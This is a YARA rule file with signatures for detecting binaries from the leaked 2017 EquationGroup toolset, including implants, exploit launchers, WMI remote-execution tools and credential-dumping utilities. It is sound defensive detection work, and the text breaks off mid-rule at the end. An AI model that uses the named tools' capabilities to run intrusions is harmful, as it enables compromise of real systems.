rule EquationGroup_Toolset_Apr17_EpWrapper
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "a8eed17665ee22198670e22458eb8c9028ff77130788f24f44986cce6cebff8d"
		id = "81b72f7f-ba5a-5f45-b77c-071cfb4571d3"

	strings:
		$x1 = "* Failed to get remote TCP socket address" fullword wide
		$x2 = "* Failed to get 'LPStart' export" fullword wide
		$s5 = "Usage: %ls <logdir> <dll_search_path> <dll_to_load_path> <socket>" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 20KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_DiBa_Target_2000
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "f9ea8ff5985b94f635d03f3aab9ad4fb4e8c2ad931137dba4f8ee8a809421b91"
		id = "c6ae85b6-0670-558c-9ce5-64bd5822f35b"

	strings:
		$s1 = "0M1U1Z1p1" fullword ascii
		$op1 = { f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 45 }
		$op2 = { 36 c6 45 e6 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 }
		$op3 = { c6 45 e8 65 c6 45 e9 70 c6 45 ea 74 c6 45 eb 5f }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and 3 of them )
}

rule EquationGroup_Toolset_Apr17_DllLoad_Target
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "a42d5201af655e43cefef30d7511697e6faa2469dc4a74bc10aa060b522a1cf5"
		id = "9def0814-c86a-5fae-abc2-4185596a74aa"

	strings:
		$s1 = "BzWKJD+" fullword ascii
		$op1 = { 44 24 6c 6c 88 5c 24 6d }
		$op2 = { 44 24 54 63 c6 44 24 55 74 c6 44 24 56 69 }
		$op3 = { 44 24 5c 6c c6 44 24 5d 65 c6 44 24 5e }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule EquationGroup_Toolset_Apr17_EXPA
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "2017176d3b5731a188eca1b71c50fb938c19d6260c9ff58c7c9534e317d315f8"
		id = "106efe9b-f70f-51cf-bbb2-b9bf61df1dd1"

	strings:
		$x1 = "* The target is IIS 6.0 but is not running content indexing servicess," fullword ascii
		$x2 = "--ver 6 --sp <service_pack> --lang <language> --attack shellcode_option[s]sL" fullword ascii
		$x3 = "By default, the shellcode will attempt to immediately connect s$" fullword ascii
		$x4 = "UNEXPECTED SHELLCODE CONFIGURATION ERRORs" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 12000KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_RemoteExecute_Target
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "4a649ca8da7b5499821a768c650a397216cdc95d826862bf30fcc4725ce8587f"
		id = "608e5244-2d3f-573c-a0de-44637051f4ba"

	strings:
		$s1 = "Win32_Process" fullword ascii
		$s2 = "\\\\%ls\\root\\cimv2" fullword wide
		$op1 = { 83 7b 18 01 75 12 83 63 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule EquationGroup_Toolset_Apr17_DS_ParseLogs
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "0228691d63038b072cdbf50782990d505507757efbfa87655bb2182cf6375956"
		id = "1906c0fc-3fbc-5995-8789-f1c02e574672"

	strings:
		$x1 = "* Size (%d) of remaining capture file is too small to contain a valid header" fullword wide
		$x2 = "* Capture header not found at start of buffer" fullword wide
		$x3 = "Usage: %ws <capture_file> <results_prefix>" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Oracle_Implant
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "8e9be4960c62ed7f210ce08f291e410ce0929cd3a86fe70315d7222e3df4587e"
		id = "6ff4cd21-1060-5901-842e-c04bde4f16ec"

	strings:
		$op0 = { fe ff ff ff 48 89 9c 24 80 21 00 00 48 89 ac 24 }
		$op1 = { e9 34 11 00 00 b8 3e 01 00 00 e9 2a 11 00 00 b8 }
		$op2 = { 48 8b ca e8 bf 84 00 00 4c 8b e0 8d 34 00 44 8d }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them )
}

rule EquationGroup_Toolset_Apr17_DmGz_Target
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "5964966041f93d5d0fb63ce4a85cf9f7a73845065e10519b0947d4a065fdbdf2"
		id = "182a2488-ac3f-5dc6-aa61-d6d267574d10"

	strings:
		$s1 = "\\\\.\\%ls" fullword ascii
		$s3 = "6\"6<6C6H6M6Z6f6t6" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and all of them )
}

rule EquationGroup_Toolset_Apr17_SetResourceName
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "537793d5158aecd0debae25416450bd885725adfc8ca53b0577a3df4b0222e2e"
		id = "dc261147-3b52-57c3-9729-2645a0999a99"

	strings:
		$x1 = "Updates the name of the dll or executable in the resource file" fullword ascii
		$x2 = "*NOTE: SetResourceName does not work with PeddleCheap versions" fullword ascii
		$x3 = "2 = [appinit.dll] level4 dll" fullword ascii
		$x4 = "1 = [spcss32.exe] level3 exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_drivers_Implant
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "ee8b048f1c6ba821d92c15d614c2d937c32aeda7b7ea0943fd4f640b57b1c1ab"
		id = "727a0a8c-0019-53e9-9632-c610299305fc"

	strings:
		$s1 = ".?AVFeFinallyFailure@@" fullword ascii
		$s2 = "hZwLoadDriver" fullword ascii
		$op1 = { b0 01 e8 58 04 00 00 c3 33 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 30KB and all of them )
}

rule EquationGroup_Toolset_Apr17_Shares_Target
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "6c57fb33c5e7d2dee415ae6168c9c3e0decca41ffe023ff13056ff37609235cb"
		id = "51245be4-6d24-57e4-8c92-c8c1ae5e3cf9"

	strings:
		$s1 = "Select * from Win32_Share" fullword ascii
		$s2 = "slocalhost" fullword wide
		$s3 = "\\\\%ls\\root\\cimv2" fullword wide
		$s4 = "\\\\%ls\\%ls" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule EquationGroup_Toolset_Apr17_ntfltmgr
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "3df61b8ef42a995b8f15a0d38bc51f2f08f8d9a2afa1afc94c6f80671cf4a124"
		hash2 = "f7a886ee10ee6f9c6be48c20f370514be62a3fd2da828b0dff44ff3d485ff5c5"
		hash3 = "980954a2440122da5840b31af7e032e8a25b0ce43e071ceb023cca21cedb2c43"
		id = "402b14f5-4a7a-58fb-8f4a-0a29d6d34440"

	strings:
		$s3 = "wCw3wDwAw2wNw@wEwZw2wDwEwBwZwFwFw4w2wZw5w1w4wFwZwGwOwGwGwEw5w2wFwGwDwFwOw" fullword ascii
		$s6 = "w+w;w2w0w6w4w.w(wRw" fullword ascii
		$op1 = { 80 f7 ff ff 49 89 84 34 18 02 00 00 41 83 a4 34 }
		$op2 = { ff 15 0b 34 00 00 eb 92 }
		$op3 = { 4d 8d b4 34 08 02 00 00 4d 85 f6 0f 84 ae }
		$op4 = { 8b ca 2b ce 8d 34 01 0f b7 3e 66 3b 7d f0 89 75 }
		$op5 = { 8a 40 01 00 c7 47 70 }
		$op6 = { e9 3c ff ff ff 6a ff 8d 45 f0 50 e8 27 11 00 00 }
		$op7 = { 8b 45 08 53 57 8b 7d 0c c7 40 34 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 4 of them )
}

rule EquationGroup_Toolset_Apr17_DiBa_Target_BH
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "7ae9a247b60dc31f424e8a7a3b3f1749ba792ff1f4ba67ac65336220021fce9f"
		id = "c6ae85b6-0670-558c-9ce5-64bd5822f35b"

	strings:
		$op0 = { 44 89 20 e9 40 ff ff ff 8b c2 48 8b 5c 24 60 48 }
		$op1 = { 45 33 c9 49 8d 7f 2c 41 ba }
		$op2 = { 89 44 24 34 eb 17 4c 8d 44 24 28 8b 54 24 30 48 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule EquationGroup_Toolset_Apr17_PC_LP
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "3a505c39acd48a258f4ab7902629e5e2efa8a2120a4148511fe3256c37967296"
		id = "c3f8f0f9-80ab-5d8e-be42-59b90dc291cb"

	strings:
		$s1 = "* Failed to get connection information.  Aborting launcher!" fullword wide
		$s2 = "Format: <command> <target port> [lp port]" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule EquationGroup_Toolset_Apr17_RemoteCommand_Lp
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "57b47613a3b5dd820dae59fc6dc2b76656bd578f015f367675219eb842098846"
		id = "98ace4d7-edd0-5e84-bac8-b69e5307f567"

	strings:
		$s1 = "Failure parsing command from %hs:%u: os=%u plugin=%u" fullword wide
		$s2 = "Unable to get TCP listen port: %08x" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule EquationGroup_Toolset_Apr17_lp_mstcp
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "2ab1e1d23021d887759750a0c053522e9149b7445f840936bbc7e703f8700abd"
		id = "afa4985e-7c8f-58fc-9881-219ccba6a495"

	strings:
		$s1 = "\\Registry\\User\\CurrentUser\\" wide
		$s2 = "_PacketNDISRequestComplete@12\"" fullword ascii
		$s3 = "_LDNdis5RegDeleteKeys@4" ascii
		$op1 = { 89 7e 04 75 06 66 21 46 02 eb }
		$op2 = { fc 74 1b 8b 49 04 0f b7 d3 66 83 }
		$op3 = { aa 0f b7 45 fc 8b 52 04 8d 4e }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and ( all of ( $s* ) or all of ( $op* ) ) )
}

rule EquationGroup_Toolset_Apr17_renamer
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "9c30331cb00ae8f417569e9eb2c645ebbb36511d2d1531bb8d06b83781dfe3ac"
		id = "b5a7c8a8-c30d-5667-a458-6962a24061d3"

	strings:
		$s1 = "FILE_NAME_CONVERSION.LOG" fullword wide
		$s2 = "Log file exists. You must delete it!!!" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and all of them )
}

rule EquationGroup_Toolset_Apr17_PC_Exploit
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "77486bb828dba77099785feda0ca1d4f33ad0d39b672190079c508b3feb21fb0"
		id = "67a4c8b8-87fb-5f2d-a4dd-299d087c77a3"

	strings:
		$s1 = "\\\\.\\pipe\\pcheap_reuse" fullword wide
		$s2 = "**** FAILED TO DUPLICATE SOCKET ****" fullword wide
		$s3 = "**** UNABLE TO DUPLICATE SOCKET TYPE %u ****" fullword wide
		$s4 = "YOU CAN IGNORE ANY 'ServiceEntry returned error' messages after this..." fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 20KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_PC_Level3_Gen
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "c7dd49b98f399072c2619758455e8b11c6ee4694bb46b2b423fa89f39b185a97"
		hash2 = "f6b723ef985dfc23202870f56452581a08ecbce85daf8dc7db4491adaa4f6e8f"
		id = "c479964c-3122-511d-9410-bc5d890f1489"

	strings:
		$s1 = "S-%u-%u" fullword ascii
		$s2 = "Copyright (C) Microsoft" fullword wide
		$op1 = { 24 39 65 c6 44 24 3a 6c c6 44 24 3b 65 c6 44 24 }
		$op2 = { 44 24 4e 41 88 5c 24 4f ff }
		$op3 = { 44 24 3f 6e c6 44 24 40 45 c6 44 24 41 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and 3 of them )
}

rule EquationGroup_Toolset_Apr17_put_Implant9x
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "8fcc98d63504bbacdeba0c1e8df82f7c4182febdf9b08c578d1195b72d7e3d5f"
		id = "73cafd51-8b0d-59e3-966d-2f5de65953a7"

	strings:
		$s1 = "3&3.3<3A3F3K3V3c3m3" fullword ascii
		$op1 = { c9 c2 08 00 b8 72 1c 00 68 e8 c9 fb ff ff 51 56 }
		$op2 = { 40 1b c9 23 c8 03 c8 38 5d 14 74 05 6a 03 58 eb }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 20KB and 2 of them )
}

rule EquationGroup_Toolset_Apr17_promiscdetect_safe
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "6070d8199061870387bb7796fb8ccccc4d6bafed6718cbc3a02a60c6dc1af847"
		id = "d6103861-b332-5c21-8408-76b512012689"

	strings:
		$s1 = "running on this computer!" fullword ascii
		$s2 = "- Promiscuous (capture all packets on the network)" fullword ascii
		$s3 = "Active filter for the adapter:" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and all of them )
}

rule EquationGroup_Toolset_Apr17_PacketScan_Implant
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "9b97cac66d73a9d268a15e47f84b3968b1f7d3d6b68302775d27b99a56fbb75a"
		id = "e49695d9-15ae-53a6-955c-c68402e241a2"

	strings:
		$op0 = { e9 ef fe ff ff ff b5 c0 ef ff ff 8d 85 c8 ef ff }
		$op1 = { c9 c2 04 00 b8 34 26 00 68 e8 40 05 00 00 51 56 }
		$op2 = { e9 0b ff ff ff 8b 45 10 8d 4d c0 89 58 08 c6 45 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 30KB and all of them )
}

rule EquationGroup_Toolset_Apr17_SetPorts
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "722d3cf03908629bc947c4cca7ce3d6b80590a04616f9df8f05c02de2d482fb2"
		id = "6dc67951-714e-57d9-b34a-0006348b6b10"

	strings:
		$s1 = "USAGE: SetPorts <input file> <output file> <version> <port1> [port2] [port3] [port4] [port5]" fullword ascii
		$s2 = "Valid versions are:  1 = PC 1.2   2 = PC 1.2 (24 hour)" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them )
}

rule EquationGroup_Toolset_Apr17_GrDo_FileScanner_Implant
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		modified = "2023-01-06"
		hash1 = "8d2e43567e1360714c4271b75c21a940f6b26a789aa0fce30c6478ae4ac587e4"
		id = "79a3cc02-0cda-59e2-8698-29a6cb0a3061"

	strings:
		$s1 = "system32\\winsrv.dll" fullword wide
		$s2 = "raw_open CreateFile error" fullword ascii
		$s3 = "\\dllcache\\" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them )
}

rule EquationGroup_Toolset_Apr17_msgks_mskgu
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "7b4986aee8f5c4dca255431902907b36408f528f6c0f7d7fa21f079fa0a42e09"
		hash2 = "ef906b8a8ad9dca7407e0a467b32d7f7cf32814210964be2bfb5b0e6d2ca1998"
		id = "1692848d-a8db-5c11-9dc4-f1b0c45a78c3"

	strings:
		$op1 = { f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 45 }
		$op2 = { 36 c6 45 e6 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 }
		$op3 = { c6 45 e8 65 c6 45 e9 70 c6 45 ea 74 c6 45 eb 5f }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_Toolset_Apr17_Ifconfig_Target
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "1ebfc0ce7139db43ddacf4a9af2cb83a407d3d1221931d359ee40588cfd0d02b"
		id = "db8ec377-a9f6-5d75-a123-aa0365d98065"

	strings:
		$s1 = "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\%hs" fullword wide
		$op1 = { 0f be 37 85 f6 0f 85 4e ff ff ff 45 85 ed 74 21 }
		$op2 = { 4c 8d 44 24 34 48 8d 57 08 41 8d 49 07 e8 a6 4b }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them )
}

rule EquationGroup_Toolset_Apr17_DiBa_Target
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "ffff3526ed0d550108e97284523566392af8523bbddb5f212df12ef61eaad3e6"
		id = "c6ae85b6-0670-558c-9ce5-64bd5822f35b"

	strings:
		$op1 = { 41 5a 41 59 41 58 5f 5e 5d 5a 59 5b 58 48 83 c4 }
		$op2 = { f9 48 03 fa 48 33 c0 8a 01 49 03 c1 49 f7 e0 88 }
		$op3 = { 01 41 f6 e0 49 03 c1 88 01 48 33 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule EquationGroup_Toolset_Apr17_Dsz_Implant
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "fbe103fac45abe4e3638055a3cac5e7009166f626cf2d3049fb46f3b53c1057f"
		hash2 = "ad1dddd11b664b7c3ad6108178a8dade0a6d9795358c4a7cedbe789c62016670"
		id = "febc8654-7dc3-5c8b-a53c-f8d7dc29b14b"

	strings:
		$s1 = "%02u:%02u:%02u.%03u-%4u: " fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them )
}

rule EquationGroup_Toolset_Apr17_GenKey
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "b6f100b21da4f7e3927b03b8b5f0c595703b769d5698c835972ca0c81699ff71"
		id = "54e15017-a2f7-5135-af88-b13ea5866c5f"

	strings:
		$x1 = "* PrivateEncrypt -> PublicDecrypt FAILED" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and all of them )
}

rule EquationGroup_Toolset_Apr17_wmi_Implant
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "de08d6c382faaae2b4b41b448b26d82d04a8f25375c712c12013cb0fac3bc704"
		id = "e058d2cc-b963-55bc-9bdd-468f64fe8e6f"

	strings:
		$x1 = "SELECT ProcessId,Description,ExecutablePath FROM Win32_Process" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 50KB and all of them )
}

rule EquationGroup_Toolset_Apr17_clocksvc
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "c1bcd04b41c6b574a5c9367b777efc8b95fe6cc4e526978b7e8e09214337fac1"
		id = "ec0e90a5-1359-55e5-9165-494f90431247"

	strings:
		$x1 = "~debl00l.tmp" fullword ascii
		$x2 = "\\\\.\\mailslot\\c54321" fullword ascii
		$x3 = "\\\\.\\mailslot\\c12345" fullword ascii
		$x4 = "nowMutex" fullword ascii
		$s1 = "System\\CurrentControlSet\\Services\\MSExchangeIS\\ParametersPrivate" fullword ascii
		$s2 = "000000005017C31B7C7BCF97EC86019F5026BE85FD1FB192F6F4237B78DB12E7DFFB07748BFF6432B3870681D54BEF44077487044681FB94D17ED04217145B98" ascii
		$s3 = "00000000E2C9ADBD8F470C7320D28000353813757F58860E90207F8874D2EB49851D3D3115A210DA6475CCFC111DCC05E4910E50071975F61972DCE345E89D88" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 1 of ( $x* ) or 2 of ( $s* ) ) )
}

rule EquationGroup_Toolset_Apr17_xxxRIDEAREA
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "214b0de83b04afdd6ad05567825b69663121eda9e804daff9f2da5554ade77c6"
		id = "2475778b-1246-5471-b305-a946c253c50c"

	strings:
		$x1 = "USAGE: %s -i InputFile -o OutputFile [-f FunctionOrdinal] [-a FunctionArgument] [-t ThreadOption]" fullword ascii
		$x2 = "The output payload \"%s\" has a size of %d-bytes." fullword ascii
		$x3 = "ERROR: fwrite(%s) failed on ucPayload" fullword ascii
		$x4 = "Load and execute implant within the existing thread" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_yak_min_install
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "f67214083d60f90ffd16b89a0ce921c98185b2032874174691b720514b1fe99e"
		id = "dc648deb-4220-5ec3-b95f-ff6cc463f79b"

	strings:
		$s1 = "driver start" fullword ascii
		$s2 = "DeviceIoControl Error: %d" fullword ascii
		$s3 = "Phlook" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_Toolset_Apr17_SetOurAddr
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "04ccc060d401ddba674371e66e0288ebdbfa7df74b925c5c202109f23fb78504"
		id = "a2dbfa7b-3fb6-56cf-9391-1a3abb08e3cb"

	strings:
		$s1 = "USAGE: SetOurAddr <input file> <output file> <protocol> [IP/IPX address]" fullword ascii
		$s2 = "Replaced default IP address (127.0.0.1) with Local IP Address %d.%d.%d.%d" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_GetAdmin_LSADUMP_ModifyPrivilege_Implant
{
	meta:
